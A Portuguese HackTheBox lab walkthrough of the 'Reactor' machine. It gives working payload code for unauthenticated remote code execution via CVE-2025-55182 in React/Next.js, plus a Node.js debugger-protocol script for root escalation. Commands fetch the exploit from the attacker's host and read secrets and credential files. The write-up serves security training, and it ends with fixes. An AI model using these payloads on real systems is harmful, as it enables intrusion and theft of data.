
Walkthrough completo da máquina Reactor da HTB — explore a CVE-2025-55182 para obter um shell e, em seguida, obtenha acesso root por meio de um debugger do Node.js exposto. Passo a passo com capturas de tela.
[!CAUTION] Aviso de spoiler. Este é um passo a passo completo, incluindo as flags. Se você quiser resolver a máquina sozinho, feche isto agora e volte quando estiver travado.
| Campo | Detalhes |
|---|---|
| Nome | Reactor |
| SO | Ubuntu 24.04 LTS (Noble) |
| Dificuldade | Média |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| Portas | 22 (SSH), 3000 (Next.js) |
| Autor | sonnycroco |
Reactor é tematizado em torno de um painel de monitoramento de usina nuclear chamado ReactorWatch. A máquina gira inteiramente em torno de duas vulnerabilidades encadeadas: sem adivinhação, sem pistas falsas, sem brute force.
O caminho: uma build de pré-lançamento do React 19 expõe uma falha crítica de desserialização que concede execução remota de código sem autenticação com uma única requisição HTTP. A partir daí, uma porta de depuração do Node.js rodando como root dá acesso total ao sistema por meio de uma mensagem WebSocket.
Cadeia de ataque:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
A primeira coisa a fazer em qualquer máquina nova é descobrir o que está ouvindo. Um scan completo de portas com detecção de serviços para que nada passe despercebido.
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

Apenas duas portas. SSH é um beco sem saída nesta fase, já que ainda não temos credenciais. A porta 3000 é o alvo. O Nmap já nos diz que é Next.js 15.0.3, o que é uma boa pista.
Antes de sair atirando exploits em qualquer coisa, quero saber a versão exata de tudo que está rodando. Os cabeçalhos HTTP já revelaram o Next.js, mas a versão do React é o detalhe crítico. O React 19 ficou em pré-lançamento por um longo tempo e teve alguns problemas sérios antes do lançamento estável.
Buscando um dos chunks JavaScript do lado do cliente para verificar:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
Esse rc na string de versão é a prova cabal. Esta é uma build candidata a lançamento do React 19, não a versão estável. As bases de dados de CVE confirmam: CVE-2025-55182 afeta exatamente essa build. CVSS 10.0.
Aproveitando, verifico os cabeçalhos em busca de pistas sobre middleware:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Nenhum cabeçalho x-middleware-rewrite em lugar algum, o que significa que não há middleware Next.js instalado. Isso descarta o CVE-2025-29927 (o bypass de middleware), vale anotar para não perder tempo com ele.
O que sabemos:
experimental.serverActions habilitado19.0.0-rc, vulnerável ao CVE-2025-55182
Os Server Components do React 19 introduziram as Server Actions, que são funções do lado do servidor chamáveis pelo cliente via HTTP POST com um cabeçalho Next-Action. O parser de corpo multipart que processa essas requisições tem uma falha crítica: ele desserializa de forma insegura um tipo de referência chamado $1:__proto__:then.
Ao criar um corpo multipart que define _response._prefix para JavaScript arbitrário, um atacante faz com que esse código seja avaliado no servidor. A saída é então contrabandeada para fora por meio de uma exceção que o Next.js usa internamente para redirecionamentos (NEXT_REDIRECT) e termina codificada em URL dentro do cabeçalho de resposta x-action-redirect.
Qualquer POST para qualquer página com o cabeçalho Next-Action dispara isso. Sem verificação de autenticação, sem endpoint especial. Basta enviar o payload para / e você está dentro.
Um pequeno helper em Python que recebe um comando shell como entrada, monta o payload multipart e o escreve em disco para o curl enviar:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
Embrulhando tudo em uma função de shell para dar a sensação de um pseudo-shell:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
A troca HTTP crua. A saída do comando está bem ali no cabeçalho de redirecionamento:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
Estamos dentro como a conta de serviço node. Sem autenticação, sem brute force, sem engenharia social. Apenas um POST HTTP. É assim que um CVSS 10.0 se parece na prática.

[!WARNING] Duas coisas para saber antes de continuar:
execSyncé síncrono e bloqueia a thread de resposta. Não tente gerar um reverse shell com ele; use oexec()assíncrono ou o servidor vai travar.- O template literal
NEXT_REDIRECTquebra com quebras de linha. Sempre canalize saídas de múltiplas linhas porpaste -sd,para achatá-las antes de colocá-las na URL.
nodeCom a execução de código estabelecida, o próximo objetivo é entender o ambiente: o que há nessa máquina, quais credenciais estão por aí e se existe um caminho óbvio para um usuário com mais privilégios.
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
Há um banco de dados SQLite no disco. Verificando o que tem dentro:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
Uma conta de admin com hash MD5. Rodando no John com rockyou, não quebra. Tudo bem, quebrar o hash acaba sendo desnecessário quando encontrarmos o verdadeiro caminho de escalação. Deixando isso de lado e seguindo em frente.
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
Há um usuário chamado engineer. A flag de usuário fica no diretório home dele.
[!NOTE] Em algumas instâncias desta máquina,
/home/engineer/tem permissão700, o que significa que a conta de serviçonodenão consegue lê-lo diretamente. Se for o seu caso, não entre em pânico. O caminho de escalação para root coberto no Passo 6 permite ler as duas flags como root.
rce "cat /home/engineer/user.txt"
f7b714f9fdf5c08a5f240668792aa13f
Se /home/engineer/ estiver bloqueado na sua instância, avance para o Passo 6 e pegue as duas flags como root.
Com uma posição estabelecida, vou verificar quais processos estão rodando na máquina. O ps aux completo é longo, então filtrando qualquer coisa relacionada a Node.js:
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
node 1415 next-server (v15.0.3)
root 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Aí está. Um segundo processo Node.js rodando como root, iniciado com a flag --inspect ligada a 127.0.0.1:9229. É um script de monitoramento de uptime que alguém iniciou com o depurador do Node.js habilitado e deixou rodando.
A flag --inspect abre o Chrome DevTools Protocol (CDP), o mesmo protocolo que as ferramentas de desenvolvedor do seu navegador usam. Quando você se conecta a ele, pode dizer ao processo para avaliar JavaScript arbitrário no próprio contexto V8 dele. Como esse processo roda como root, qualquer coisa que você avaliar também roda como root.
A única barreira é que o depurador está vinculado ao localhost, mas já temos execução de código na máquina como node, então conseguimos alcançá-lo sem problema.
Confirmando que o depurador está ativo e capturando a URL do WebSocket:
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
[{
"description": "node.js instance",
"id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]
[!IMPORTANT] O UUID na URL do WebSocket (
1d85ee80-...) é único por instância do processo. O seu será diferente. Copie-o da sua saída JSON e atualize-o no script de exploit antes de executar.

Para enviar um comando Runtime.evaluate ao inspetor, precisamos de um cliente WebSocket. O pacote npm ws não está no alvo, então vou escrever um mínimo do zero usando apenas os módulos nativos do Node.js: net para a conexão TCP e crypto para a mascaramento dos frames WebSocket.
const net = require('net');
const crypto = require('crypto');
// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';
function encodeFrame(data) {
const payload = Buffer.from(data, 'utf8');
const mask = crypto.randomBytes(4);
let headerLen = (payload.length < 126) ? 6 : 8;
const header = Buffer.alloc(headerLen);
header[0] = 0x81;
if (payload.length < 126) {
header[1] = 0x80 | payload.length;
mask.copy(header, 2);
} else {
header[1] = 0xfe;
header.writeUInt16BE(payload.length, 2);
mask.copy(header, 4);
}
const masked = Buffer.alloc(payload.length);
const maskStart = headerLen - 4;
for (let i = 0; i < payload.length; i++) {
masked[i] = payload[i] ^ header[maskStart + (i % 4)];
}
return Buffer.concat([header, masked]);
}
const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);
sock.on('connect', () => {
sock.write(
`GET /${WS_ID} HTTP/1.1\r\n` +
`Host: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\n` +
`Connection: Upgrade\r\n` +
`Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
`Sec-WebSocket-Version: 13\r\n\r\n`
);
});
sock.on('data', (data) => {
chunks = Buffer.concat([chunks, data]);
if (!upgraded) {
const str = chunks.toString('utf8');
const sep = str.indexOf('\r\n\r\n');
if (sep === -1) return;
upgraded = true;
chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
const msg = JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: CMD, returnByValue: true }
});
sock.write(encodeFrame(msg));
return;
}
while (chunks.length > 2) {
const b1 = chunks[1] & 0x7f;
let payloadStart, payloadLen;
if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
if (chunks.length < payloadStart + payloadLen) return;
process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
sock.destroy();
process.exit(0);
}
});
sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);
[!WARNING] Dentro de uma chamada CDP
Runtime.evaluate, a funçãorequire()simples não está no escopo global, mesmo que oworker.jsem si seja um módulo CommonJS. Você deve usarprocess.mainModule.require(...). Usarrequire()puro lançará um ReferenceError e não produzirá saída.
Servindo o script a partir da máquina de ataque:
python3 -m http.server 8080 --directory /tmp/www &
Baixando e executando no alvo por meio da cadeia de RCE:
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"
Resposta:
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}
Estamos avaliando JavaScript arbitrário dentro de um processo rodando como uid=0.

Mesmo exploit, comando diferente em CMD:
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root.txt: 5c091a1960eb124c53910c1a1f456334

Tempo total da primeira requisição até o root: menos de 10 minutos quando você entende o CVE. Sem brute force, sem quebra de senhas, sem pistas falsas.
O CVE-2025-29927 (bypass de middleware) estava em alta ao mesmo tempo que o CVE-2025-55182. Sempre verifique se o middleware está realmente presente antes de testar o bypass dele. A presença ou ausência do cabeçalho de resposta x-middleware-rewrite te diz isso imediatamente. Caçar o CVE errado é uma perda de tempo fácil.
execSync vai quebrar reverse shellsEle bloqueia toda a thread de resposta do servidor até o subprocesso sair. Gerar um bash -i ou um shell netcat por ele vai travar os dois lados. Use o exec() assíncrono do child_process se você precisar de um shell interativo a partir deste exploit.
A saída do comando é embutida dentro de um template literal JavaScript: NEXT_REDIRECT;push;/login?a=${res};307;. Qualquer quebra de linha literal em res quebra o template literal e não retorna nada. Canalize tudo por paste -sd, para unir as linhas antes da exfiltração.
require não é global no contexto CDPQuando você envia Runtime.evaluate para um inspetor do Node.js, você executa dentro de um isolado V8 que não expõe a função require do CommonJS globalmente, mesmo quando o processo alvo é em si um módulo CommonJS. Sempre use process.mainModule.require("module") dentro de expressões CDP.
Em alguns spawns desta máquina, a conta de serviço node consegue ler /home/engineer/user.txt diretamente. Em outros, permissões 700 no diretório home bloqueiam isso. O caminho de escalação para root sempre funciona e te dá as duas flags independentemente.
| Vulnerabilidade | Correção |
|---|
| CVE-2025-55182 | Atualize o React de 19.0.0-rc para o lançamento estável do React 19. Atualize o Next.js para a versão 15.2.3 ou superior. |
Node.js --inspect como root | Remova --inspect de todos os processos de produção por completo. Nunca vincule o inspetor a qualquer endereço, nem mesmo 127.0.0.1, em sistemas compartilhados. Use um ambiente isolado dedicado para depuração. |
| Banco SQLite no diretório da aplicação | Mova o banco de dados para fora da raiz web. Restrinja as permissões do sistema de arquivos para que o processo web acesse apenas o que precisa estritamente. |